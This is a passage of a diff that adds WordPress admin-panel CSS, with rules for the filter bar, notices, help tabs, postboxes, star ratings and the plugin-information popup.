+.submitbox .submitdelete,
+#media-items a.delete,
+#media-items a.delete-permanently,
+#nav-menu-footer .menu-delete {
+	color: #a00;
+}
+
+abbr.required,
+.file-error,
+.widget-control-remove:hover,
+.row-actions .delete a:hover,
+.row-actions .trash a:hover,
+.row-actions .spam a:hover,
+.plugins a.delete:hover,
+#all-plugins-table .plugins a.delete:hover,
+#search-plugins-table .plugins a.delete:hover,
+.submitbox .submitdelete:hover,
+#media-items a.delete:hover,
+#media-items a.delete-permanently:hover,
+#nav-menu-footer .menu-delete:hover {
+	color: #f00;
+	text-decoration: none;
+	border: none;
+}
+
+/*------------------------------------------------------------------------------
+  3.0 - Actions
+------------------------------------------------------------------------------*/
+
+#major-publishing-actions {
+	padding: 10px;
+	clear: both;
+	border-top: 1px solid #ddd;
+	background: #f5f5f5;
+}
+
+#delete-action {
+	line-height: 28px;
+	vertical-align: middle;
+	text-align: left;
+	float: left;
+}
+
+#publishing-action {
+	text-align: right;
+	float: right;
+	line-height: 23px;
+}
+
+#publishing-action .spinner {
+	float: left;
+}
+
+#misc-publishing-actions {
+	padding: 6px 0 0;
+}
+
+.misc-pub-section {
+	padding: 6px 10px 8px;
+}
+
+#minor-publishing-actions {
+	padding: 10px 10px 0 10px;
+	text-align: right;
+}
+
+#save-post {
+	float: left;
+}
+
+.preview {
+	float: right;
+}
+
+#sticky-span {
+	margin-left: 18px;
+}
+
+.side-info {
+	margin: 0;
+	padding: 4px;
+	font-size: 11px;
+}
+
+.side-info h5 {
+	padding-bottom: 7px;
+	font-size: 14px;
+	margin: 12px 2px 5px;
+	border-bottom: 1px solid #dadada;
+}
+
+.side-info ul {
+	margin: 0;
+	padding-left: 18px;
+	list-style: square;
+	color: #666;
+}
+
+.approve,
+.unapproved .unapprove {
+	display: none;
+}
+
+.unapproved .approve,
+.spam .approve,
+.trash .approve {
+	display: inline;
+}
+
+td.action-links,
+th.action-links {
+	text-align: right;
+}
+
+/* Filter bar */
+.wp-filter {
+	display: inline-block;
+	position: relative;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin: 12px 0 25px;
+	padding: 0 20px;
+	width: 100%;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	border: 1px solid #e5e5e5;
+	background: #fff;
+	color: #555;
+	font-size: 13px;
+}
+
+.wp-filter a {
+	text-decoration: none;
+}
+
+.filter-count {
+	display: inline-block;
+	vertical-align: middle;
+	min-width: 4em;
+}
+
+.title-count,
+.filter-count .count {
+	display: inline-block;
+	position: relative;
+	top: -1px;
+	padding: 4px 10px;
+	-webkit-border-radius: 30px;
+	border-radius: 30px;
+	background: #777;
+	color: #fff;
+	font-size: 14px;
+	font-weight: 600;
+}
+
+/* not a part of filter bar, but derived from it, so here for now */
+.title-count {
+	display: inline;
+	top: -3px;
+	margin-left: 5px;
+	margin-right: 20px;
+}
+
+.filter-items {
+	float: left;
+}
+
+.filter-links {
+	display: inline-block;
+	margin: 0;
+}
+
+.filter-links li {
+	display: inline-block;
+	margin: 0;
+}
+
+.filter-links li > a {
+	display: inline-block;
+	margin: 0 10px;
+	padding: 15px 0;
+	border-bottom: 4px solid #fff;
+	color: #666;
+	cursor: pointer;
+}
+
+.filter-links .current {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	border-bottom: 4px solid #666;
+	color: #222;
+}
+
+.filter-links li > a:hover,
+.filter-links li > a:focus,
+.show-filters .filter-links a.current:hover,
+.show-filters .filter-links a.current:focus {
+	color: #2ea2cc;
+}
+
+.wp-filter .search-form {
+	float: right;
+	margin: 10px 0;
+}
+
+.wp-filter .search-form input[type="search"] {
+	margin: 0;
+	padding: 3px 5px;
+	width: 280px;
+	max-width: 100%;
+	font-size: 16px;
+	font-weight: 300;
+	line-height: 1.5;
+}
+
+.wp-filter .search-form select {
+	margin: 0;
+	height: 32px;
+	vertical-align: top;
+}
+
+.wp-filter .search-form.search-plugins {
+	display: inline-block;
+}
+
+.wp-filter .drawer-toggle {
+	display: inline-block;
+	margin: 0 10px;
+	padding: 4px 6px;
+	color: #666;
+	cursor: pointer;
+}
+
+.wp-filter .drawer-toggle:before {
+	display: inline-block;
+	vertical-align: top;
+	content: "\f111";
+	margin: 0 5px 0 0;
+	width: 16px;
+	height: 16px;
+	color: #777;
+	-webkit-transition: color .1s ease-in 0;
+	transition: color .1s ease-in 0;
+	font-family: "dashicons";
+	font-size: 16px;
+	line-height: 1;
+	text-align: center;
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	-webkit-font-smoothing: antialiased;
+}
+
+.wp-filter .drawer-toggle:hover,
+.wp-filter .drawer-toggle:hover:before {
+	color: #2ea2cc;
+}
+
+.wp-filter .drawer-toggle.current:before {
+	color: #fff;
+}
+
+.filter-drawer {
+	display: none;
+	margin: 0 -20px;
+	padding: 20px;
+	border-top: 1px solid #eee;
+	background: #fafafa;
+}
+
+.show-filters .filter-drawer {
+	display: block;
+	overflow: hidden;
+	width: 100%;
+}
+
+.show-filters .wp-filter .drawer-toggle:hover,
+.show-filters .wp-filter .drawer-toggle:focus {
+	background: rgb(46, 162, 204);
+}
+
+.show-filters .filter-links a.current {
+	border-bottom: none;
+}
+
+.show-filters .wp-filter .drawer-toggle {
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	border: none;
+	background: #777;
+	color: #fff;
+}
+
+.show-filters .wp-filter .drawer-toggle:before {
+	color: #fff;
+}
+
+.filter-group {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+	margin: 0 1% 0 0;
+	padding: 10px;
+	width: 24%;
+	background: #fff;
+	border: 1px solid #e5e5e5;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+}
+
+.filter-group h4 {
+	position: relative;
+	margin: 0;
+}
+
+.filter-drawer ol {
+	margin: 20px 0 0;
+	list-style-type: none;
+	font-size: 12px;
+}
+
+.filter-drawer li {
+	display: inline-block;
+	vertical-align: top;
+	margin: 5px 0;
+	padding-right: 25px;
+	width: 160px;
+	list-style-type: none;
+}
+
+.filter-drawer .buttons {
+	margin-bottom: 20px;
+}
+
+.filter-drawer .buttons .button span {
+	display: inline-block;
+	opacity: 0.8;
+	font-size: 12px;
+	text-indent: 10px;
+}
+
+.wp-filter .button.clear-filters {
+	display: none;
+	margin: 0 0 20px 10px;
+}
+
+.filtered-by {
+	display: none;
+	margin: 0;
+}
+
+.filtered-by > span {
+	font-weight: 600;
+}
+
+.filtered-by a {
+	margin-left: 10px;
+}
+
+.filtered-by .tags {
+	display: inline;
+}
+
+.filtered-by .tag {
+	margin: 0 5px;
+	padding: 4px 8px;
+	border: 1px solid #e5e5e5;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+	font-size: 11px;
+}
+
+.filters-applied .filter-group,
+.filters-applied .filter-drawer .buttons,
+.filters-applied .filter-drawer br {
+	display: none !important;
+}
+
+.filters-applied .filtered-by {
+	display: block;
+}
+
+.filters-applied .filter-drawer {
+	padding: 20px;
+}
+
+.show-filters .content-filterable,
+.show-filters.filters-applied.loading-content .content-filterable,
+.loading-content .content-filterable,
+.error .content-filterable {
+	display: none;
+}
+
+.show-filters.filters-applied .content-filterable {
+	display: block;
+}
+
+.loading-content .spinner {
+	display: block;
+	margin: 40px auto 0;
+	float: none;
+}
+
+@media only screen and (max-width: 1120px) {
+	.filter-drawer {
+		border-bottom: 1px solid #eee;
+	}
+
+	.filter-group {
+		margin-bottom: 0;
+		margin-top: 5px;
+		width: 100%;
+	}
+
+	.filter-group li {
+		margin: 10px 0;
+	}
+}
+
+@media only screen and (max-width: 1000px) {
+	.filter-items {
+		float: none;
+	}
+
+	.wp-filter .media-toolbar-primary,
+	.wp-filter .media-toolbar-secondary,
+	.wp-filter .search-form {
+		float: none; /* Remove float from media-views.css */
+		position: relative;
+		max-width: 100%;
+	}
+}
+
+@media only screen and (max-width: 782px) {
+	.filter-group li {
+		padding: 0;
+		width: 50%;
+	}
+}
+
+@media only screen and (max-width: 320px) {
+	.filter-count {
+		display: none;
+	}
+
+	.wp-filter .drawer-toggle {
+		margin: 10px 0;
+	}
+
+	.filter-group li,
+	.wp-filter .search-form input[type="search"] {
+		width: 100%;
+	}
+}
+
+/*------------------------------------------------------------------------------
+  4.0 - Notifications
+------------------------------------------------------------------------------*/
+
+.notice,
+div.updated,
+div.error {
+	background: #fff;
+	border-left: 4px solid #fff;
+	-webkit-box-shadow: 0 1px 1px 0 rgba( 0, 0, 0, 0.1 );
+	box-shadow: 0 1px 1px 0 rgba( 0, 0, 0, 0.1 );
+	margin: 5px 15px 2px;
+	padding: 1px 12px;
+}
+
+.notice p,
+div.updated p,
+div.error p,
+.form-table td .notice p {
+	margin: 0.5em 0;
+	padding: 2px;
+}
+
+.notice-success,
+div.updated {
+     border-color: #7ad03a;
+}
+
+.notice-warning {
+    border-color: #ffba00;
+}
+
+.notice-error,
+div.error {
+    border-color: #dd3d36;
+}
+
+.notice-info {
+    border-color: #2ea2cc;
+}
+
+.wrap .notice,
+.wrap div.updated,
+.wrap div.error,
+.media-upload-form .notice,
+.media-upload-form div.error {
+	margin: 5px 0 15px;
+}
+
+#update-nag,
+.update-nag {
+	display: inline-block;
+	line-height: 19px;
+	padding: 11px 15px;
+	font-size: 14px;
+	text-align: left;
+	margin: 25px 20px 0 2px;
+	background-color: #fff;
+	border-left: 4px solid #ffba00;
+	-webkit-box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+	box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+}
+
+.update-message {
+	color: #000;
+}
+
+ul#dismissed-updates {
+	display: none;
+}
+
+form.upgrade {
+	margin-top: 8px;
+}
+
+form.upgrade .hint {
+	font-style: italic;
+	font-size: 85%;
+	margin: -0.5em 0 2em 0;
+}
+
+.update-php .spinner {
+	float: none;
+	margin: -4px 0;
+}
+
+#ajax-loading,
+.ajax-loading,
+.ajax-feedback,
+.imgedit-wait-spin,
+.list-ajax-loading { /* deprecated */
+	visibility: hidden;
+}
+
+#ajax-response.alignleft {
+	margin-left: 2em;
+}
+
+/* @todo: this does not need its own section anymore */
+/*------------------------------------------------------------------------------
+  6.0 - Admin Header
+------------------------------------------------------------------------------*/
+#adminmenu a,
+#sidemenu a,
+#taglist a,
+#catlist a {
+	text-decoration: none;
+}
+
+/*------------------------------------------------------------------------------
+  6.1 - Screen Options Tabs
+------------------------------------------------------------------------------*/
+
+#screen-options-wrap,
+#contextual-help-wrap {
+	margin: 0;
+	padding: 8px 20px 12px;
+	position: relative;
+}
+
+#contextual-help-wrap {
+	overflow: auto;
+	margin-left: 0 !important;
+}
+
+#screen-meta .screen-reader-text {
+	visibility: hidden;
+}
+
+#screen-meta-links {
+	margin: 0 20px 0 0;
+}
+
+#screen-meta-links a {
+	padding: 3px 6px 3px 16px;
+}
+
+#screen-meta-links a:focus {
+	outline: none;
+}
+
+/* screen options and help tabs revert */
+#screen-meta {
+	display: none;
+	margin: 0 20px -1px 0px;
+	position: relative;
+	background-color: #fff;
+	border: 1px solid #ddd;
+	border-top: none;
+	-webkit-box-shadow: 0 1px 0 rgba(0,0,0,.025);
+	box-shadow: 0 1px 0 rgba(0,0,0,.025);
+}
+
+#screen-options-link-wrap,
+#contextual-help-link-wrap {
+	float: right;
+	height: 28px;
+	margin: 0 0 0 6px;
+	border: 1px solid #ddd;
+	border-top: none;
+	background: #fff;
+	-webkit-box-shadow: 0 1px 1px -1px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 1px -1px rgba(0,0,0,0.1);
+}
+
+#screen-meta-links .screen-meta-toggle {
+	position: relative;
+	top: 0;
+}
+
+#screen-meta-links a {
+	color: #777;
+}
+
+#screen-meta-links a:hover,
+#screen-meta-links a:active,
+#screen-meta-links a:focus {
+	color: #333;
+}
+
+#screen-meta-links a.show-settings {
+	display: block;
+	font-size: 13px;
+	height: 22px;
+	line-height: 22px;
+	text-decoration: none;
+	z-index: 1;
+}
+
+#screen-meta-links a:after {
+	right: 0;
+	content: '\f140';
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 0 5px 0 0;
+	bottom: 2px;
+	position: relative;
+	vertical-align: bottom;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #bbb;
+}
+
+#screen-meta-links a.screen-meta-active:after {
+	content: '\f142';
+}
+
+#screen-meta-links a.show-settings:hover {
+	text-decoration: none;
+}
+/* end screen options and help tabs */
+
+.toggle-arrow {
+	background-repeat: no-repeat;
+	background-position: top left;
+	background-color: transparent;
+	height: 22px;
+	line-height: 22px;
+	display: block;
+}
+
+.toggle-arrow-active {
+	background-position: bottom left;
+}
+
+#screen-options-wrap h5,
+#contextual-help-wrap h5 {
+	margin: 8px 0;
+	font-size: 13px;
+}
+
+.metabox-prefs label {
+	display: inline-block;
+	padding-right: 15px;
+	line-height: 30px;
+}
+
+.metabox-prefs label input[type=checkbox] {
+	margin-top: -4px;
+	margin-right: 6px;
+}
+
+.metabox-prefs label input {
+	margin: 0 5px 0 2px;
+}
+
+.metabox-prefs .columns-prefs label input {
+	margin: 0 2px;
+}
+
+.metabox-prefs label a {
+	display: none;
+}
+
+/*------------------------------------------------------------------------------
+  6.2 - Help Menu
+------------------------------------------------------------------------------*/
+
+#contextual-help-wrap {
+	padding: 0;
+}
+
+#contextual-help-columns {
+	position: relative;
+}
+
+#contextual-help-back {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	left: 150px;
+	right: 170px;
+	border: 1px solid #e1e1e1;
+	border-top: none;
+	border-bottom: none;
+	background: #f6fbfd;
+}
+
+#contextual-help-wrap.no-sidebar #contextual-help-back {
+	right: 0;
+	border-right-width: 0;
+	-webkit-border-bottom-right-radius: 2px;
+	border-bottom-right-radius: 2px;
+}
+
+.contextual-help-tabs {
+	float: left;
+	width: 150px;
+	margin: 0;
+}
+
+.contextual-help-tabs ul {
+	margin: 1em 0;
+}
+
+.contextual-help-tabs li {
+	margin-bottom: 0;
+	list-style-type: none;
+	border-style: solid;
+	border-width: 0 0 0 2px;
+	border-color: transparent;
+}
+
+.contextual-help-tabs a {
+	display: block;
+	padding: 5px 5px 5px 12px;
+	line-height: 18px;
+	text-decoration: none;
+	border: 1px solid transparent;
+	border-right: none;
+	border-left: none;
+}
+
+.contextual-help-tabs a:hover {
+	color: #333;
+}
+
+.contextual-help-tabs .active {
+	padding: 0;
+	margin: 0 -1px 0 0;
+	border-left: 2px solid #2ea2cc;
+	background: #f6fbfd;
+	-webkit-box-shadow: 0 2px 0 rgba(0,0,0,0.02), 0 1px 0 rgba(0,0,0,0.02);
+	box-shadow: 0 2px 0 rgba(0,0,0,0.02), 0 1px 0 rgba(0,0,0,0.02);
+}
+
+.contextual-help-tabs .active a {
+	border-color: #e1e1e1;
+	color: #333;
+}
+
+.contextual-help-tabs-wrap {
+	padding: 0 20px;
+	overflow: auto;
+}
+
+.help-tab-content {
+	display: none;
+	margin: 0 22px 12px 0;
+	line-height: 1.6em;
+}
+
+.help-tab-content.active {
+	display: block;
+}
+
+.help-tab-content ul li {
+	list-style-type: disc;
+	margin-left: 18px;
+}
+
+.contextual-help-sidebar {
+	width: 150px;
+	float: right;
+	padding: 0 8px 0 12px;
+	overflow: auto;
+}
+
+/*------------------------------------------------------------------------------
+  8.0 - Layout Blocks
+------------------------------------------------------------------------------*/
+
+html.wp-toolbar {
+	padding-top: 32px;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.narrow {
+	width: 70%;
+	margin-bottom: 40px;
+}
+
+.narrow p {
+	line-height: 150%;
+}
+
+.widefat th,
+.widefat td {
+	overflow: hidden;
+	color: #555;
+}
+
+.widefat th {
+	font-weight: normal;
+}
+
+.widefat thead tr th,
+.widefat tfoot tr th {
+	color: #333;
+}
+
+.widefat td p {
+	margin: 2px 0 0.8em;
+}
+
+.widefat p,
+.widefat ol,
+.widefat ul {
+	color: #333;
+}
+
+.widefat .column-comment p {
+	margin: 0.6em 0;
+}
+
+/* Screens with postboxes */
+.postbox-container {
+	float: left;
+}
+
+.postbox-container .meta-box-sortables {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#wpbody-content .metabox-holder {
+	padding-top: 10px;
+}
+
+.metabox-holder .postbox-container .empty-container {
+	border: 3px dashed #bbb;
+	height: 250px;
+}
+
+.metabox-holder.columns-1 .postbox-container .empty-container,
+.columns-2 #postbox-container-3 .empty-container,
+.columns-2 #postbox-container-4 .empty-container,
+.columns-3 #postbox-container-4 .empty-container {
+	border: 0 none;
+	height: 0;
+	min-height: 0;
+}
+
+#post-body-content {
+	width: 100%;
+	min-width: 463px;
+	float: left;
+}
+
+#post-body.columns-2 #postbox-container-1 {
+	float: right;
+	margin-right: -300px;
+	width: 280px;
+}
+
+#post-body.columns-2 #side-sortables {
+	min-height: 250px;
+}
+
+/* one column on the dash */
+@media only screen and (max-width: 799px) {
+	#wpbody-content .metabox-holder .postbox-container .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+}
+
+.js .widget .widget-top,
+.js .postbox .hndle {
+	cursor: move;
+}
+
+.hndle a {
+	font-size: 11px;
+	font-weight: normal;
+}
+
+.postbox .handlediv {
+	float: right;
+	width: 27px;
+	height: 30px;
+}
+
+.js .postbox .handlediv {
+	cursor: pointer;
+}
+
+.sortable-placeholder {
+	border: 1px dashed #bbb;
+	margin-bottom: 20px;
+}
+
+.postbox,
+.stuffbox {
+	margin-bottom: 20px;
+	padding: 0;
+	line-height: 1;
+}
+
+/* user-select is not a part of the CSS standard - may change behavior in the future */
+.postbox .hndle,
+.stuffbox .hndle {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.postbox .inside,
+.stuffbox .inside {
+	padding: 0 12px 12px;
+	line-height: 1.4em;
+	font-size: 13px;
+}
+
+.postbox .inside {
+	margin: 11px 0;
+	position: relative;
+}
+
+.postbox .inside > p:last-child,
+.rss-widget ul li:last-child {
+	margin-bottom: 1px !important;
+}
+
+.postbox.closed h3 {
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.postbox table.form-table {
+	margin-bottom: 0;
+}
+
+.postbox table.widefat {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.temp-border {
+	border: 1px dotted #ccc;
+}
+
+.columns-prefs label {
+	padding: 0 5px;
+}
+
+/* @todo: what is this doing here */
+#dashboard_right_now .versions .b,
+#post-status-display,
+#post-visibility-display,
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover,
+.media-item .percent,
+.plugins .name,
+#pass-strength-result.strong,
+#pass-strength-result.short,
+#ed_reply_toolbar #ed_reply_strong,
+.item-controls .item-order a,
+.feature-filter .feature-name {
+	font-weight: 600;
+}
+
+/*------------------------------------------------------------------------------
+  21.0 - Admin Footer
+------------------------------------------------------------------------------*/
+
+#wpfooter {
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	padding: 10px 20px;
+	color: #777;
+}
+
+#wpfooter p {
+	font-size: 13px;
+	margin: 0;
+	line-height: 20px;
+}
+
+#footer-thankyou {
+	font-style: italic;
+}
+
+#wpfooter a {
+	text-decoration: none;
+}
+
+#wpfooter a:hover {
+	text-decoration: underline;
+}
+
+/*------------------------------------------------------------------------------
+  25.0 - Tabbed Admin Screen Interface (Experimental)
+------------------------------------------------------------------------------*/
+
+.nav-tab {
+	border: 1px solid #ccc;
+	border-bottom: none;
+	background: #e4e4e4;
+	color: #555;
+	font-size: 12px;
+	line-height: 16px;
+	display: inline-block;
+	padding: 4px 14px 6px;
+	text-decoration: none;
+	margin: -4px 4px -1px 0;
+}
+
+.nav-tab:hover {
+	background-color: #fff;
+	color: #464646;
+}
+
+.nav-tab-active {
+	color: #464646;
+}
+
+.nav-tab-active,
+.nav-tab-active:hover {
+	border-bottom: 1px solid #f1f1f1;
+	background: #f1f1f1;
+	color: #000;
+}
+
+h2.nav-tab-wrapper,
+h3.nav-tab-wrapper {
+	border-bottom: 1px solid #ccc;
+	padding-bottom: 0;
+	padding-left: 10px;
+}
+
+h2 .nav-tab {
+	padding: 6px 10px;
+	font-weight: bold;
+	font-size: 15px;
+	line-height: 24px;
+}
+
+
+/*------------------------------------------------------------------------------
+  26.0 - Misc
+------------------------------------------------------------------------------*/
+
+.spinner {
+	background: url(../images/spinner.gif) no-repeat;
+	-webkit-background-size: 20px 20px;
+	background-size: 20px 20px;
+	display: none;
+	float: right;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 20px;
+	height: 20px;
+	margin: 2px 5px 0;
+}
+
+#template div {
+	margin-right: 190px;
+}
+
+.metabox-holder h3 {
+	font-size: 14px;
+	padding: 8px 12px;
+	margin: 0;
+	line-height: 1.4;
+}
+
+#templateside ul li a {
+	text-decoration: none;
+}
+
+#sidemenu {
+	margin: -30px 15px 0 315px;
+	list-style: none;
+	position: relative;
+	float: right;
+	padding-left: 10px;
+	font-size: 12px;
+}
+
+#sidemenu a {
+	padding: 0 7px;
+	display: block;
+	float: left;
+	line-height: 28px;
+	border-top: 1px solid #f9f9f9;
+	border-bottom: 1px solid #dfdfdf;
+	background-color: #f9f9f9;
+	-webkit-transition: none;
+	transition: none;
+}
+
+#sidemenu li {
+	display: inline;
+	line-height: 200%;
+	list-style: none;
+	text-align: center;
+	white-space: nowrap;
+	margin: 0;
+	padding: 0;
+}
+
+/* @todo: remove border radius */
+#sidemenu a.current {
+	font-weight: normal;
+	padding-left: 6px;
+	padding-right: 6px;
+	-webkit-border-top-left-radius: 3px;
+	border-top-left-radius: 3px;
+	-webkit-border-top-right-radius: 3px;
+	border-top-right-radius: 3px;
+	border: 1px solid #dfdfdf;
+	border-bottom-color: #f1f1f1;
+	background-color: #f1f1f1;
+	color: #000;
+}
+
+#sidemenu li a .count-0 {
+	display: none;
+}
+
+.plugin-install #description,
+.plugin-install-network #description {
+	width: 60%;
+}
+
+table .vers,
+table .column-visible,
+table .column-rating {
+	text-align: left;
+}
+
+.error-message {
+	color: red;
+	font-weight: 600;
+}
+
+/* Scrollbar fix for bulk upgrade iframe */
+body.iframe {
+	height: 98%;
+}
+
+/* Upgrader styles, Specific to Language Packs */
+.lp-show-latest p {
+	display: none;
+}
+.lp-show-latest p:last-child,
+.lp-show-latest .lp-error p {
+	display: block;
+}
+
+/* - Only used once or twice in all of WP - deprecate for global style
+------------------------------------------------------------------------------*/
+td.media-icon {
+	text-align: center;
+	width: 80px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+td.media-icon img {
+	max-width: 80px;
+	max-height: 60px;
+	width: auto;
+	height: auto;
+}
+
+td.image-icon img {
+	border: 1px solid rgba(0, 0, 0, 0.07);
+}
+
+#howto {
+	font-size: 11px;
+	margin: 0 5px;
+	display: block;
+}
+
+.importers td {
+	padding-right: 14px;
+}
+
+.importers {
+	font-size: 16px;
+	width: auto;
+}
+
+#post-body #post-body-content #namediv h3 {
+	margin-top: 0;
+}
+
+#namediv h3 label {
+	vertical-align: baseline;
+}
+
+#namediv table {
+	width: 100%;
+}
+
+#namediv td.first {
+	width: 10px;
+	white-space: nowrap;
+}
+
+#namediv input {
+	width: 98%;
+}
+
+#namediv p {
+	margin: 10px 0;
+}
+
+#submitdiv h3 {
+	margin-bottom: 0 !important;
+}
+
+/* - Used - but could/should be deprecated with a CSS reset
+------------------------------------------------------------------------------*/
+.zerosize {
+	height: 0;
+	width: 0;
+	margin: 0;
+	border: 0;
+	padding: 0;
+	overflow: hidden;
+	position: absolute;
+}
+
+br.clear {
+	height: 2px;
+	line-height: 2px;
+}
+
+.checkbox {
+	border: none;
+	margin: 0;
+	padding: 0;
+}
+
+fieldset {
+	border: 0;
+	padding: 0;
+	margin: 0;
+}
+
+.post-categories {
+	display: inline;
+	margin: 0;
+	padding: 0;
+}
+
+.post-categories li {
+	display: inline;
+}
+
+/* Star Ratings - Back-compat for pre-3.8 */
+div.star-holder {
+	position: relative;
+	height: 17px;
+	width: 100px;
+	background: url(../images/stars.png?ver=20121108) repeat-x bottom left;
+}
+
+div.star-holder .star-rating {
+	background: url(../images/stars.png?ver=20121108) repeat-x top left;
+	height: 17px;
+	float: left;
+}
+
+/* Star Ratings */
+.star-rating {
+	white-space: nowrap;
+}
+.star-rating .star {
+	display: inline-block;
+	width: 20px;
+	height: 20px;
+	-webkit-font-smoothing: antialiased;
+	font-size: 20px;
+	line-height: 1;
+	font-family: 'dashicons';
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
+	-webkit-transition: color .1s ease-in 0;
+	transition: color .1s ease-in 0;
+	text-align: center;
+	color: #0074a2;
+}
+
+.star-rating .star-full:before {
+	content:'\f155';
+}
+
+.star-rating .star-half:before {
+	content:'\f459';
+}
+
+.rtl .star-rating .star-half {
+	-webkit-transform: rotateY(180deg);
+	-ms-transform: rotateY(180deg);
+	transform: rotateY(180deg);
+}
+
+.star-rating .star-empty:before {
+	content:'\f154';
+}
+
+div.action-links {
+	font-weight: normal;
+	margin: 6px 0 0;
+}
+
+/* Plugin install thickbox */
+#plugin-information {
+	background: #fff;
+	position: fixed;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	height: 100%;
+	padding: 0;
+}
+
+#plugin-information-scrollable {
+	overflow: auto;
+	height: 100%;
+}
+
+#plugin-information-title {
+	padding: 0 20px;
+	background: #f5f5f5;
+	font-size: 22px;
+	font-weight: 600;
+	line-height: 56px;
+	position: relative;
+	top: 0;
+	right: 0;
+	left: 0;
+	height: 56px;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+#plugin-information-title.with-banner {
+	margin-right: 0;
+	height: 250px;
+	bottom: 250px;
+	-webkit-background-size: 100% auto;
+	background-size: 100% auto;
+}
+
+#plugin-information-title h2 {
+	font-size: 1em;
+	font-weight: bold;
+	padding: 0;
+	margin: 0;
+	max-width: 680px;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	white-space: nowrap;
+}
+
+#plugin-information-title.with-banner h2 {
+	font-family: "Helvetica Neue", sans-serif;
+	display: inline-block;
+	font-size: 30px;
+	line-height: 50px;
+	padding: 0 15px;
+	margin: 174px 0 0 10px;
+	color: #fff;
+	background: rgba( 30, 30, 30, 0.9 );
+	text-shadow: 0 1px 3px rgba( 0, 0, 0, 0.4 );
+	-webkit-box-shadow: 0 0 30px rgba( 255, 255, 255, 0.1 );
+	box-shadow: 0 0 30px rgba( 255, 255, 255, 0.1 );
+	-webkit-border-radius: 8px;
+	border-radius: 8px;
+}
+
+#plugin-information-title div.vignette {
+	display: none;
+}
+
+#plugin-information-title.with-banner div.vignette {
+	display: block;
+	float: right;
+	top: 0;
+	height: 250px;
+	width: 772px;
+	margin: 0 -20px;
+	background: transparent;
+	-webkit-box-shadow: inset 0 0 50px 4px rgba( 0, 0, 0, 0.2 ), inset 0 -1px 0 rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 0 0 50px 4px rgba( 0, 0, 0, 0.2 ), inset 0 -1px 0 rgba( 0, 0, 0, 0.1 );
+}
+
+#plugin-information-tabs {
+	padding: 0 16px;
+	position: relative;
+	right: 0;
+	left: 0;
+	height: 36px;
+	z-index: 1;
+	border-bottom: 1px solid #ddd;
+	background: #f3f3f3;
+}
+
+#plugin-information-tabs a {
+	position: relative;
+	float: left;
+	padding: 9px 10px;
+	margin: 0;
+	height: 18px;
+	line-height: 18px;
+	font-size: 14px;
+	text-decoration: none;
+	-webkit-transition: none;
+	transition: none;
+}
+
+#plugin-information-tabs a.current {
+	margin: 0 -1px 0;
+	background: #fff;
+	border: 1px solid #ddd;
+	border-bottom-color: #fff;
+	padding-top: 8px;
+	color: #333;
+}
+
+#plugin-information-tabs.with-banner a.current {
+	border-top: none;
+	padding-top: 9px;
+}
+
+#plugin-information-tabs a:active,
+#plugin-information-tabs a:focus {
+	outline: none;
+}
+
+#plugin-information-content {
+	overflow: hidden; /* equal height column trick */
+	background: #fff;
+	position: relative;
+	top: 0;
+	right: 0;
+	left: 0;
+	min-height: 100%;
+	/* Height of title + tabs + install now */
+	min-height: -webkit-calc( 100% - 152px );
+	min-height: calc( 100% - 152px );
+}
+
+#plugin-information-content.with-banner {
+	/* Height of banner + tabs + install now */
+	min-height: -webkit-calc( 100% - 346px );
+	min-height: calc( 100% - 346px );
+}
+
+#section-holder {
+	position: relative;
+	top: 0;
+	right: 250px;
+	bottom: 0;
+	left: 0;
+	margin-right: 250px; /* FYI box */
+	padding: 10px 26px;
+	margin-bottom: -99930px; /* a bit less than the padding below to accommodate footer */
+	padding-bottom: 99999px; /* equal height column trick */
+}
+
+#section-holder .updated {
+	margin: 16px 0;
+}
+
+#plugin-information .fyi {
+	display: block;
+	float: right;
+	position: relative;
+	top: 0;
+	right: 0;
+	padding: 16px;
+	margin-bottom: -99930px; /* slightly less than the padding below to accommodate footer */
+	padding-bottom: 99999px; /* equal height column trick */
+	width: 217px;
+	border-left: 1px solid #ddd;
+	background: #f3f3f3;
+	color: #666;
+}
+
+#plugin-information .fyi strong {
+	color: #464646;
+}
+
+#plugin-information .fyi h3 {
+	font-weight: bold;
+	text-transform: uppercase;
+	font-size: 12px;
+	color: #666;
+	margin: 24px 0 8px;
+}
+
